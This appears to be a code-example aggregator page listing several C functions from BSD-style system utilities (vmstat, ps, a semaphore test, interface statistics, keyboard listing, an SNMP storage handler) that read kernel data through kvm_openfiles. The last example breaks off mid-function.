Beispiel #25
0
static void
busy_destroy_test(void)
{
	char errbuf[_POSIX2_LINE_MAX];
	struct kinfo_proc *kp;
	semid_t id;
	pid_t pid;
	kvm_t *kd;
	int count;

	kd = kvm_openfiles(NULL, "/dev/null", NULL, O_RDONLY, errbuf);
	if (kd == NULL) {
		fail_err("kvm_openfiles: %s", errbuf);
		return;
	}

	if (ksem_init(&id, 0) < 0) {
		fail_errno("ksem_init");
		kvm_close(kd);
		return;
	}

	pid = fork();
	switch (pid) {
	case -1:
		/* Error. */
		fail_errno("fork");
		ksem_destroy(id);
		kvm_close(kd);
		return;
	case 0:
		/* Child. */
		ksem_wait(id);
		exit(0);
	}

	/*
	 * Wait for the child process to block on the semaphore.  This
	 * is a bit gross.
	 */
	for (;;) {
		kp = kvm_getprocs(kd, KERN_PROC_PID, pid, &count);
		if (kp == NULL) {
			fail_err("kvm_getprocs: %s", kvm_geterr(kd));
			kvm_close(kd);
			ksem_destroy(id);
			return;
		}
		if (kp->ki_stat == SSLEEP &&
		    (strcmp(kp->ki_wmesg, "sem") == 0 ||
		    strcmp(kp->ki_wmesg, "ksem") == 0))
			break;
		usleep(1000);
	}
	kvm_close(kd);

	ksem_destroy_should_fail(id, EBUSY);

	/* Cleanup. */
	ksem_post(id);
	waitpid(pid, NULL, 0);
	ksem_destroy(id);
}
Beispiel #26
0
int
main(int argc, char **argv)
{
	int c, todo;
	u_int interval;		/* milliseconds */
	int reps;
	char *memf, *nlistf;
	char errbuf[_POSIX2_LINE_MAX];

	memf = nlistf = NULL;
	interval = reps = todo = 0;
	maxshowdevs = 2;
	while ((c = getopt(argc, argv, "c:fiM:mN:n:p:stvw:z")) != -1) {
		switch (c) {
		case 'c':
			reps = atoi(optarg);
			break;
		case 'f':
#ifdef notyet
			todo |= FORKSTAT;
#else
			errx(EX_USAGE, "sorry, -f is not (re)implemented yet");
#endif
			break;
		case 'i':
			todo |= INTRSTAT;
			break;
		case 'M':
			memf = optarg;
			break;
		case 'm':
			todo |= MEMSTAT;
			break;
		case 'N':
			nlistf = optarg;
			break;
		case 'n':
			nflag = 1;
			maxshowdevs = atoi(optarg);
			if (maxshowdevs < 0)
				errx(1, "number of devices %d is < 0",
				     maxshowdevs);
			break;
		case 'p':
			if (buildmatch(optarg, &matches, &num_matches) != 0)
				errx(1, "%s", devstat_errbuf);
			break;
		case 's':
			todo |= SUMSTAT;
			break;
		case 't':
#ifdef notyet
			todo |= TIMESTAT;
#else
			errx(EX_USAGE, "sorry, -t is not (re)implemented yet");
#endif
			break;
		case 'v':
			++verbose;
			break;
		case 'w':
			interval = (u_int)(strtod(optarg, NULL) * 1000.0);
			break;
		case 'z':
			todo |= ZMEMSTAT;
			break;
		default:
			usage();
		}
	}
	argc -= optind;
	argv += optind;

	if (todo == 0)
		todo = VMSTAT;

	/*
	 * Discard setgid privileges if not the running kernel so that bad
	 * guys can't print interesting stuff from kernel memory.
	 */
	if (nlistf != NULL || memf != NULL)
		setgid(getgid());

	kd = kvm_openfiles(nlistf, memf, NULL, O_RDONLY, errbuf);
	if (kd == NULL)
		errx(1, "kvm_openfiles: %s", errbuf);

	if ((c = kvm_nlist(kd, namelist)) != 0) {
		if (c > 0) {
			warnx("undefined symbols:");
			for (c = 0; c < (int)__arysize(namelist); c++)
				if (namelist[c].n_type == 0)
					fprintf(stderr, " %s",
					    namelist[c].n_name);
			fputc('\n', stderr);
		} else
			warnx("kvm_nlist: %s", kvm_geterr(kd));
		exit(1);
	}

	if (todo & VMSTAT) {
		struct winsize winsize;

		/*
		 * Make sure that the userland devstat version matches the
		 * kernel devstat version.  If not, exit and print a
		 * message informing the user of his mistake.
		 */
		if (checkversion() < 0)
			errx(1, "%s", devstat_errbuf);


		argv = getdrivedata(argv);
		winsize.ws_row = 0;
		ioctl(STDOUT_FILENO, TIOCGWINSZ, (char *)&winsize);
		if (winsize.ws_row > 0)
			winlines = winsize.ws_row;

	}

#define	BACKWARD_COMPATIBILITY
#ifdef	BACKWARD_COMPATIBILITY
	if (*argv) {
		interval = (u_int)(strtod(*argv, NULL) * 1000.0);
		if (*++argv)
			reps = atoi(*argv);
	}
#endif

	if (interval) {
		if (!reps)
			reps = -1;
	} else if (reps) {
		interval = 1000;
	}

#ifdef notyet
	if (todo & FORKSTAT)
		doforkst();
#endif
	if (todo & MEMSTAT)
		domem();
	if (todo & ZMEMSTAT)
		dozmem();
	if (todo & SUMSTAT)
		dosum();
#ifdef notyet
	if (todo & TIMESTAT)
		dotimes();
#endif
	if (todo & INTRSTAT)
		dointr();
	if (todo & VMSTAT)
		dovmstat(interval, reps);
	exit(0);
}
Beispiel #27
0
int 
getifstats(const char * ifname, struct ifdata * data)
{
#if defined(__FreeBSD__)
	struct ifnethead ifh;
#elif defined(__OpenBSD__) || defined(__NetBSD__)
	struct ifnet_head ifh;
#else
	#error "Dont know if I should use struct ifnethead or struct ifnet_head"
#endif
	struct ifnet ifc;
	struct ifnet *ifp;
	kvm_t *kd;
	ssize_t n;
	char errstr[_POSIX2_LINE_MAX];
#ifdef ENABLE_GETIFSTATS_CACHING
	static time_t cache_timestamp = 0;
	static struct ifdata cache_data;
	time_t current_time;
#endif
	data->baudrate = 4200000;
	data->opackets = 0;
	data->ipackets = 0;
	data->obytes = 0;
	data->ibytes = 0;
#ifdef ENABLE_GETIFSTATS_CACHING
	current_time = time(NULL);
	if(current_time == ((time_t)-1)) {
		syslog(LOG_ERR, "getifstats() : time() error : %m");
	} else {
		if(current_time < cache_timestamp + GETIFSTATS_CACHING_DURATION) {
			memcpy(data, &cache_data, sizeof(struct ifdata));
			return 0;
		}
	}
#endif

	/*kd = kvm_open(NULL, NULL, NULL, O_RDONLY, NULL);*/
	kd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errstr);
	if(!kd)
	{
		syslog (LOG_ERR, "getifstats() : kvm_open(): %s", errstr);
		return -1;
	}
	if(kvm_nlist(kd, list) < 0)
	{
		syslog(LOG_ERR, "getifstats() : kvm_nlist(): FAILED");
		goto error;
	}
	if(!list[0].n_value)
	{
		syslog(LOG_ERR, "getifstats() : n_value(): FAILED");
		goto error;
	}
	n = kvm_read(kd, list[0].n_value, &ifh, sizeof(ifh));
	if(n<0)
	{
		syslog(LOG_ERR, "getifstats() : kvm_read(head): %s", kvm_geterr(kd));
		goto error;
	}
	for(ifp = TAILQ_FIRST(&ifh); ifp; ifp = TAILQ_NEXT(&ifc, if_list))
	{
		n = kvm_read(kd, (u_long)ifp, &ifc, sizeof(ifc));
		if(n<0)
		{
			syslog(LOG_ERR, "getifstats() : kvm_read(element): %s", kvm_geterr(kd));
			goto error;
		}
		if(strcmp(ifname, ifc.if_xname) == 0)
		{
			/* found the right interface */
			data->opackets = ifc.if_data.ifi_opackets;
			data->ipackets = ifc.if_data.ifi_ipackets;
			data->obytes = ifc.if_data.ifi_obytes;
			data->ibytes = ifc.if_data.ifi_ibytes;
			data->baudrate = ifc.if_data.ifi_baudrate;
			kvm_close(kd);

#ifdef ENABLE_GETIFSTATS_CACHING
			if(current_time!=((time_t)-1)) {
				cache_timestamp = current_time;
				memcpy(&cache_data, data, sizeof(struct ifdata));
			}
#endif
			return 0;	/* ok */
		}
	}
error:
	kvm_close(kd);
	return -1;	/* not found or error */
}
Beispiel #28
0
int
main(int argc, char *argv[])
{
	struct kinfo_proc *kp, **kinfo;
	struct varent *vent;
	struct winsize ws;
	struct passwd *pwd;
	dev_t ttydev;
	pid_t pid;
	uid_t uid;
	int all, ch, flag, i, fmt, lineno, nentries;
	int prtheader, showthreads, wflag, kflag, what, Uflag, xflg;
	char *nlistf, *memf, *swapf, errbuf[_POSIX2_LINE_MAX];

	if ((ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == -1 &&
	    ioctl(STDERR_FILENO, TIOCGWINSZ, &ws) == -1 &&
	    ioctl(STDIN_FILENO,  TIOCGWINSZ, &ws) == -1) ||
	    ws.ws_col == 0)
		termwidth = 79;
	else
		termwidth = ws.ws_col - 1;

	if (argc > 1)
		argv[1] = kludge_oldps_options(argv[1]);

	all = fmt = prtheader = showthreads = wflag = kflag = Uflag = xflg = 0;
	pid = -1;
	uid = 0;
	ttydev = NODEV;
	memf = nlistf = swapf = NULL;
	while ((ch = getopt(argc, argv,
	    "acCegHhjkLlM:mN:O:o:p:rSTt:U:uvW:wx")) != -1)
		switch (ch) {
		case 'a':
			all = 1;
			break;
		case 'c':
			commandonly = 1;
			break;
		case 'e':			/* XXX set ufmt */
			needenv = 1;
			break;
		case 'C':
			rawcpu = 1;
			break;
		case 'g':
			break;			/* no-op */
		case 'H':
			showthreads = 1;
			break;
		case 'h':
			prtheader = ws.ws_row > 5 ? ws.ws_row : 22;
			break;
		case 'j':
			parsefmt(jfmt);
			fmt = 1;
			jfmt[0] = '\0';
			break;
		case 'k':
			kflag++;
			break;
		case 'L':
			showkey();
			exit(0);
		case 'l':
			parsefmt(lfmt);
			fmt = 1;
			lfmt[0] = '\0';
			break;
		case 'M':
			memf = optarg;
			break;
		case 'm':
			sortby = SORTMEM;
			break;
		case 'N':
			nlistf = optarg;
			break;
		case 'O':
			parsefmt(o1);
			parsefmt(optarg);
			parsefmt(o2);
			o1[0] = o2[0] = '\0';
			fmt = 1;
			break;
		case 'o':
			parsefmt(optarg);
			fmt = 1;
			break;
		case 'p':
			pid = atol(optarg);
			xflg = 1;
			break;
		case 'r':
			sortby = SORTCPU;
			break;
		case 'S':
			sumrusage = 1;
			break;
		case 'T':
			if ((optarg = ttyname(STDIN_FILENO)) == NULL)
				errx(1, "stdin: not a terminal");
			/* FALLTHROUGH */
		case 't': {
			struct stat sb;
			char *ttypath, pathbuf[MAXPATHLEN];

			if (strcmp(optarg, "co") == 0)
				ttypath = _PATH_CONSOLE;
			else if (*optarg != '/')
				(void)snprintf(ttypath = pathbuf,
				    sizeof(pathbuf), "%s%s", _PATH_TTY, optarg);
			else
				ttypath = optarg;
			if (stat(ttypath, &sb) == -1)
				err(1, "%s", ttypath);
			if (!S_ISCHR(sb.st_mode))
				errx(1, "%s: not a terminal", ttypath);
			ttydev = sb.st_rdev;
			break;
		}
		case 'U':
			pwd = getpwnam(optarg);
			if (pwd == NULL)
				errx(1, "%s: no such user", optarg);
			uid = pwd->pw_uid;
			endpwent();
			Uflag = xflg = 1;
			break;
		case 'u':
			parsefmt(ufmt);
			sortby = SORTCPU;
			fmt = 1;
			ufmt[0] = '\0';
			break;
		case 'v':
			parsefmt(vfmt);
			sortby = SORTMEM;
			fmt = 1;
			vfmt[0] = '\0';
			break;
		case 'W':
			swapf = optarg;
			break;
		case 'w':
			if (wflag)
				termwidth = UNLIMITED;
			else if (termwidth < 131)
				termwidth = 131;
			wflag++;
			break;
		case 'x':
			xflg = 1;
			break;
		default:
			usage();
		}
	argc -= optind;
	argv += optind;

#define	BACKWARD_COMPATIBILITY
#ifdef	BACKWARD_COMPATIBILITY
	if (*argv) {
		nlistf = *argv;
		if (*++argv) {
			memf = *argv;
			if (*++argv)
				swapf = *argv;
		}
	}
#endif

	if (nlistf == NULL && memf == NULL && swapf == NULL) {
		kd = kvm_openfiles(NULL, NULL, NULL, KVM_NO_FILES, errbuf);
		kvm_sysctl_only = 1;
	} else {
		kd = kvm_openfiles(nlistf, memf, swapf, O_RDONLY, errbuf);
	}
	if (kd == NULL)
		errx(1, "%s", errbuf);

	if (!fmt) {
		if (showthreads)
			parsefmt(tfmt);
		else
			parsefmt(dfmt);
	}

	/* XXX - should be cleaner */
	if (!all && ttydev == NODEV && pid == -1 && !Uflag) {
		uid = getuid();
		Uflag = 1;
	}

	/*
	 * scan requested variables, noting what structures are needed,
	 * and adjusting header widths as appropriate.
	 */
	scanvars();

	if (neednlist && !nlistread)
		(void) donlist();

	/*
	 * get proc list
	 */
	if (Uflag) {
		what = KERN_PROC_UID;
		flag = uid;
	} else if (ttydev != NODEV) {
		what = KERN_PROC_TTY;
		flag = ttydev;
	} else if (pid != -1) {
		what = KERN_PROC_PID;
		flag = pid;
	} else if (kflag) {
		what = KERN_PROC_KTHREAD;
		flag = 0;
	} else {
		what = KERN_PROC_ALL;
		flag = 0;
	}
	if (showthreads)
		what |= KERN_PROC_SHOW_THREADS;

	/*
	 * select procs
	 */
	kp = kvm_getprocs(kd, what, flag, sizeof(*kp), &nentries);
	if (kp == NULL)
		errx(1, "%s", kvm_geterr(kd));

	/*
	 * print header
	 */
	printheader();
	if (nentries == 0)
		exit(1);
	/*
	 * sort proc list, we convert from an array of structs to an array
	 * of pointers to make the sort cheaper.
	 */
	if ((kinfo = calloc(sizeof(*kinfo), nentries)) == NULL)
		err(1, "failed to allocate memory for proc pointers");
	for (i = 0; i < nentries; i++)
		kinfo[i] = &kp[i];
	qsort(kinfo, nentries, sizeof(*kinfo), pscomp);
	/*
	 * for each proc, call each variable output function.
	 */
	for (i = lineno = 0; i < nentries; i++) {
		if (showthreads == 0 && (kinfo[i]->p_flag & P_THREAD) != 0)
			continue;
		if (xflg == 0 && ((int)kinfo[i]->p_tdev == NODEV ||
		    (kinfo[i]->p_flag & P_CONTROLT ) == 0))
			continue;
		if (showthreads && kinfo[i]->p_tid == -1)
			continue;
		for (vent = vhead; vent; vent = vent->next) {
			(vent->var->oproc)(kinfo[i], vent);
			if (vent->next != NULL)
				(void)putchar(' ');
		}
		(void)putchar('\n');
		if (prtheader && lineno++ == prtheader - 4) {
			(void)putchar('\n');
			printheader();
			lineno = 0;
		}
	}
	exit(eval);
}
Beispiel #29
0
void
kbd_list(void)
{
	int	kbds[SA_MAX];
	int	fd, i, kbtype;
	char	device[MAXPATHLEN];
	kvm_t	*kd = NULL;
#ifndef NOKVM
	char	errbuf[LINE_MAX];
#endif

	bzero(kbds, sizeof(kbds));

	/* Go through all keyboards. */
	for (i = 0; i < NUM_KBD; i++) {
		(void) snprintf(device, sizeof device, "/dev/wskbd%d", i);
		fd = open(device, O_WRONLY);
		if (fd < 0)
			fd = open(device, O_RDONLY);
		if (fd >= 0) {
			if (ioctl(fd, WSKBDIO_GTYPE, &kbtype) < 0)
				err(1, "WSKBDIO_GTYPE");
			switch (kbtype) {
			case WSKBD_TYPE_PC_XT:
			case WSKBD_TYPE_PC_AT:
				kbds[SA_PCKBD]++;
				break;
			case WSKBD_TYPE_USB:
				kbds[SA_UKBD]++;
				break;
			case WSKBD_TYPE_ADB:
				kbds[SA_AKBD]++;
				break;
			case WSKBD_TYPE_LK201:
			case WSKBD_TYPE_LK401:
				kbds[SA_LKKBD]++;
				break;
			case WSKBD_TYPE_SUN:
				kbds[SA_SUNKBD]++;
				break;
			case WSKBD_TYPE_SUN5:
				kbds[SA_SUN5KBD]++;
				break;
			case WSKBD_TYPE_HIL:
				kbds[SA_HILKBD]++;
				break;
			case WSKBD_TYPE_GSC:
				kbds[SA_GSCKBD]++;
				break;
			case WSKBD_TYPE_DOMAIN:
				kbds[SA_DOMAINKBD]++;
				break;
			};
			close(fd);
		}
	}

#ifndef NOKVM
	if ((kd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errbuf)) == NULL)
		errx(1, "kvm_openfiles: %s", errbuf);

	if (kvm_nlist(kd, nl) == -1)
		errx(1, "kvm_nlist: %s", kvm_geterr(kd));
#endif

	for (i = 0; i < SA_MAX; i++)
		if (kbds[i] != 0)
			kbd_show_enc(kd, i);

#ifndef NOKVM
	kvm_close(kd);
	if (rebuild > 0)
		printf("Unknown encoding or variant. kbd(8) needs to be rebuilt.\n");
#endif
}
Beispiel #30
0
u_char         *
var_hrstore(struct variable *vp,
            oid * name,
            size_t * length,
            int exact, size_t * var_len, WriteMethod ** write_method)
{
    int             store_idx = 0;
#if !defined(linux)
#if defined(solaris2)
    int             freemem;
    int             swap_total, swap_used;
#elif defined(hpux10) || defined(hpux11)
    struct pst_dynamic pst_buf;
#elif defined(darwin8)
    vm_statistics_data_t vm_stat;
    int count = HOST_VM_INFO_COUNT;
#elif defined(TOTAL_MEMORY_SYMBOL) || defined(USE_SYSCTL_VM)
#ifdef VM_UVMEXP
    struct uvmexp   uvmexp_totals;
#endif
    struct vmtotal  memory_totals;
#endif
#if HAVE_KVM_GETSWAPINFO
    struct kvm_swap swapinfo;
    static kvm_t *kd = NULL;
#endif
#if HAVE_SYS_POOL_H
    struct pool     mbpool, mclpool;
    int             i;
#endif
#ifdef MBSTAT_SYMBOL
    struct mbstat   mbstat;
#endif
#endif                          /* !linux */
    static char     string[1024];
    struct HRFS_statfs stat_buf;

    if (vp->magic == HRSTORE_MEMSIZE) {
        if (header_hrstore(vp, name, length, exact, var_len, write_method)
            == MATCH_FAILED)
            return NULL;
    } else {

really_try_next:
	store_idx = header_hrstoreEntry(vp, name, length, exact, var_len,
					write_method);
	if (store_idx == MATCH_FAILED)
	    return NULL;

	if (store_idx > HRS_TYPE_FIXED_MAX) {
	    if (HRFS_statfs(HRFS_entry->HRFS_mount, &stat_buf) < 0) {
		snmp_log_perror(HRFS_entry->HRFS_mount);
		goto try_next;
	    }
	}
#if !defined(linux) && !defined(solaris2)
        else
            switch (store_idx) {
            case HRS_TYPE_MEM:
            case HRS_TYPE_SWAP:
#ifdef USE_SYSCTL_VM
                {
                    int             mib[2];
                    size_t          len = sizeof(memory_totals);
                    mib[0] = CTL_VM;
                    mib[1] = VM_METER;
                    sysctl(mib, 2, &memory_totals, &len, NULL, 0);
#ifdef VM_UVMEXP
                    mib[1] = VM_UVMEXP;
		    len = sizeof(uvmexp_totals);
                    sysctl(mib, 2, &uvmexp_totals, &len, NULL, 0);
#endif
                }
#elif defined(darwin8)
		host_statistics(myHost,HOST_VM_INFO,&vm_stat,&count);
#elif defined(hpux10) || defined(hpux11)
                pstat_getdynamic(&pst_buf, sizeof(struct pst_dynamic), 1, 0);
#elif defined(TOTAL_MEMORY_SYMBOL)
                auto_nlist(TOTAL_MEMORY_SYMBOL, (char *) &memory_totals,
                           sizeof(struct vmtotal));
#endif
#if HAVE_KVM_GETSWAPINFO
		if (kd == NULL)
		    kd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, NULL);
		if (!kd) {
		    snmp_log_perror("kvm_openfiles");
		    goto try_next;
		}
		if (kvm_getswapinfo(kd, &swapinfo, 1, 0) < 0) {
		    snmp_log_perror("kvm_getswapinfo");
		    goto try_next;
		}
#endif
                break;
#if !defined(hpux10) && !defined(hpux11)
            case HRS_TYPE_MBUF:
#if HAVE_SYS_POOL_H
                auto_nlist(MBPOOL_SYMBOL, (char *) &mbpool,
                           sizeof(mbpool));
                auto_nlist(MCLPOOL_SYMBOL, (char *) &mclpool,
                           sizeof(mclpool));
#endif
#ifdef MBSTAT_SYMBOL
                auto_nlist(MBSTAT_SYMBOL, (char *) &mbstat,
                           sizeof(mbstat));
#endif
                break;
#endif      /* !hpux10 && !hpux11 */
            default:
                break;
            }
#endif                          /* !linux && !solaris2 */
    }



    switch (vp->magic) {
    case HRSTORE_MEMSIZE:
        long_return = physmem * (pagesize / 1024);
        return (u_char *) & long_return;

    case HRSTORE_INDEX:
        long_return = store_idx;
        return (u_char *) & long_return;
    case HRSTORE_TYPE:
        if (store_idx > HRS_TYPE_FIXED_MAX)
            if (storageUseNFS && Check_HR_FileSys_NFS())
                storage_type_id[storage_type_len - 1] = 10;     /* Network Disk */
            else
                storage_type_id[storage_type_len - 1] = 4;      /* Assume fixed */
        else
            switch (store_idx) {
            case HRS_TYPE_MEM:
                storage_type_id[storage_type_len - 1] = 2;      /* RAM */
                break;
            case HRS_TYPE_SWAP:
                storage_type_id[storage_type_len - 1] = 3;      /* Virtual Mem */
                break;
            case HRS_TYPE_MBUF:
                storage_type_id[storage_type_len - 1] = 1;      /* Other */
                break;
            default:
                storage_type_id[storage_type_len - 1] = 1;      /* Other */
                break;
            }
        *var_len = sizeof(storage_type_id);
        return (u_char *) storage_type_id;
    case HRSTORE_DESCR:
        if (store_idx > HRS_TYPE_FIXED_MAX) {
            strncpy(string, HRFS_entry->HRFS_mount, sizeof(string)-1);
            string[ sizeof(string)-1 ] = 0;
            *var_len = strlen(string);
            return (u_char *) string;
        } else {
            /* store_idx = store_idx - 1; */
            *var_len = strlen(hrs_descr[store_idx]);
            return (u_char *) hrs_descr[store_idx];
        }
    case HRSTORE_UNITS:
        if (store_idx > HRS_TYPE_FIXED_MAX)
#if HRFS_HAS_FRSIZE
            long_return = stat_buf.f_frsize;
#else
            long_return = stat_buf.f_bsize;
#endif
        else
            switch (store_idx) {
            case HRS_TYPE_MEM:
            case HRS_TYPE_SWAP:
#if defined(USE_SYSCTL) || defined(solaris2)
                long_return = pagesize;
#elif defined(NBPG)
                long_return = NBPG;
#else
                long_return = 1024;     /* Report in Kb */
#endif
                break;
            case HRS_TYPE_MBUF:
#ifdef MSIZE
                long_return = MSIZE;
#elif defined(linux)
                long_return = 1024;
#else
                long_return = 256;
#endif
                break;
            default:
#if NO_DUMMY_VALUES
                goto try_next;
#endif
                long_return = 1024;     /* As likely as any! */
                break;
            }
        return (u_char *) & long_return;
    case HRSTORE_SIZE:
        if (store_idx > HRS_TYPE_FIXED_MAX)
            long_return = stat_buf.f_blocks;
        else
            switch (store_idx) {
#if defined(linux)
            case HRS_TYPE_MEM:
            case HRS_TYPE_SWAP:
                long_return = linux_mem(store_idx, HRSTORE_SIZE);
                break;
#elif defined(solaris2)
            case HRS_TYPE_MEM:
                long_return = physmem;
                break;
            case HRS_TYPE_SWAP:
                sol_get_swapinfo(&swap_total, &swap_used);
                long_return = swap_total;
                break;
#elif defined(hpux10) || defined(hpux11)
            case HRS_TYPE_MEM:
                long_return = pst_buf.psd_rm;
                break;
            case HRS_TYPE_SWAP:
                long_return = pst_buf.psd_vm;
                break;
#elif defined(darwin8)
            case HRS_TYPE_MEM:
                long_return = physmem;
                break;
            case HRS_TYPE_SWAP:
                long_return = -1;
	        break;
#if defined(MBSTAT_SYMBOL)
           case HRS_TYPE_MBUF:
                long_return = mbstat.m_mbufs;
                break;
#endif
#elif defined(TOTAL_MEMORY_SYMBOL) || defined(USE_SYSCTL_VM)
            case HRS_TYPE_MEM:
                long_return = memory_totals.t_rm;
                break;
            case HRS_TYPE_SWAP:
#if HAVE_KVM_GETSWAPINFO
		long_return = swapinfo.ksw_total;
#elif defined(VM_UVMEXP)
                long_return = uvmexp_totals.swpages;
#else
                long_return = memory_totals.t_vm;
#endif
                break;
#else               /* !linux && !solaris2 && !hpux10 && !hpux11 && ... */
            case HRS_TYPE_MEM:
                long_return = physmem;
                break;
            case HRS_TYPE_SWAP:
#if NO_DUMMY_VALUES
                goto try_next;
#endif
                long_return = 0;
                break;
#endif              /* !linux && !solaris2 && !hpux10 && !hpux11 && ... */
            case HRS_TYPE_MBUF:
#ifdef linux
                long_return = linux_mem(store_idx, HRSTORE_SIZE);
#elif HAVE_SYS_POOL_H
                long_return = 0;
                for (i = 0;
                     i <
                     sizeof(mbstat.m_mtypes) / sizeof(mbstat.m_mtypes[0]);
                     i++)
                    long_return += mbstat.m_mtypes[i];
#elif defined(MBSTAT_SYMBOL) && defined(STRUCT_MBSTAT_HAS_M_MBUFS)
                long_return = mbstat.m_mbufs;
#elif defined(NO_DUMMY_VALUES)
                goto try_next;
#else
                long_return = 0;
#endif
                break;
            default:
#if NO_DUMMY_VALUES
                goto try_next;
#endif
                long_return = 1024;
                break;
            }
        return (u_char *) & long_return;
    case HRSTORE_USED:
        if (store_idx > HRS_TYPE_FIXED_MAX)
            long_return = (stat_buf.f_blocks - stat_buf.f_bfree);
        else
            switch (store_idx) {
#if defined(linux)
            case HRS_TYPE_MBUF:
            case HRS_TYPE_MEM:
            case HRS_TYPE_SWAP:
                long_return = linux_mem(store_idx, HRSTORE_USED);
                break;
#elif defined(solaris2)
            case HRS_TYPE_MEM:
                getKstatInt("unix", "system_pages", "freemem", &freemem);
                long_return = physmem - freemem;
                break;
            case HRS_TYPE_SWAP:
                sol_get_swapinfo(&swap_total, &swap_used);
                long_return = swap_used;
                break;
#elif defined(hpux10) || defined(hpux11)
            case HRS_TYPE_MEM:
                long_return = pst_buf.psd_arm;
                break;
            case HRS_TYPE_SWAP:
                long_return = pst_buf.psd_avm;
                break;
#elif defined(darwin8)
	    case HRS_TYPE_MEM:
		long_return = vm_stat.active_count + vm_stat.inactive_count + vm_stat.wire_count;
		break;
	    case HRS_TYPE_SWAP:
		long_return = -1;
		break;
#if defined(MBSTAT_SYMBOL)
           case HRS_TYPE_MBUF:
                long_return = mbstat.m_mbufs;
                break;
#endif
#elif defined(TOTAL_MEMORY_SYMBOL) || defined(USE_SYSCTL_VM)
            case HRS_TYPE_MEM:
                long_return = memory_totals.t_arm;
                break;
            case HRS_TYPE_SWAP:
#if HAVE_KVM_GETSWAPINFO
		long_return = swapinfo.ksw_used;
#elif defined(VM_UVMEXP)
		long_return = uvmexp_totals.swpginuse;
#else
                long_return = memory_totals.t_avm;
#endif
                break;
#endif              /* linux || solaris2 || hpux10 || hpux11 || ... */

#if !defined(linux) && !defined(solaris2) && !defined(hpux10) && !defined(hpux11)
            case HRS_TYPE_MBUF:
#if HAVE_SYS_POOL_H
                long_return =
		    (mbpool.pr_nget - mbpool.pr_nput) * mbpool.pr_size +
		    (mclpool.pr_nget - mclpool.pr_nput) * mclpool.pr_size;
#ifdef MSIZE
		long_return /= MSIZE;
#else
		long_return /= 256;
#endif
#elif defined(MBSTAT_SYMBOL) && defined(STRUCT_MBSTAT_HAS_M_CLUSTERS)
                long_return = mbstat.m_clusters - mbstat.m_clfree;      /* unlikely, but... */
#elif defined(NO_DUMMY_VALUES)
                goto try_next;
#else
                long_return = 0;
#endif
                break;
#endif                      /* !linux && !solaris2 && !hpux10 && !hpux11 && ... */
            default:
#if NO_DUMMY_VALUES
                goto try_next;
#endif
                long_return = 1024;
                break;
            }
        return (u_char *) & long_return;
    case HRSTORE_FAILS:
        if (store_idx > HRS_TYPE_FIXED_MAX)
#if NO_DUMMY_VALUES
	    goto try_next;
#else
            long_return = 0;
#endif
        else
            switch (store_idx) {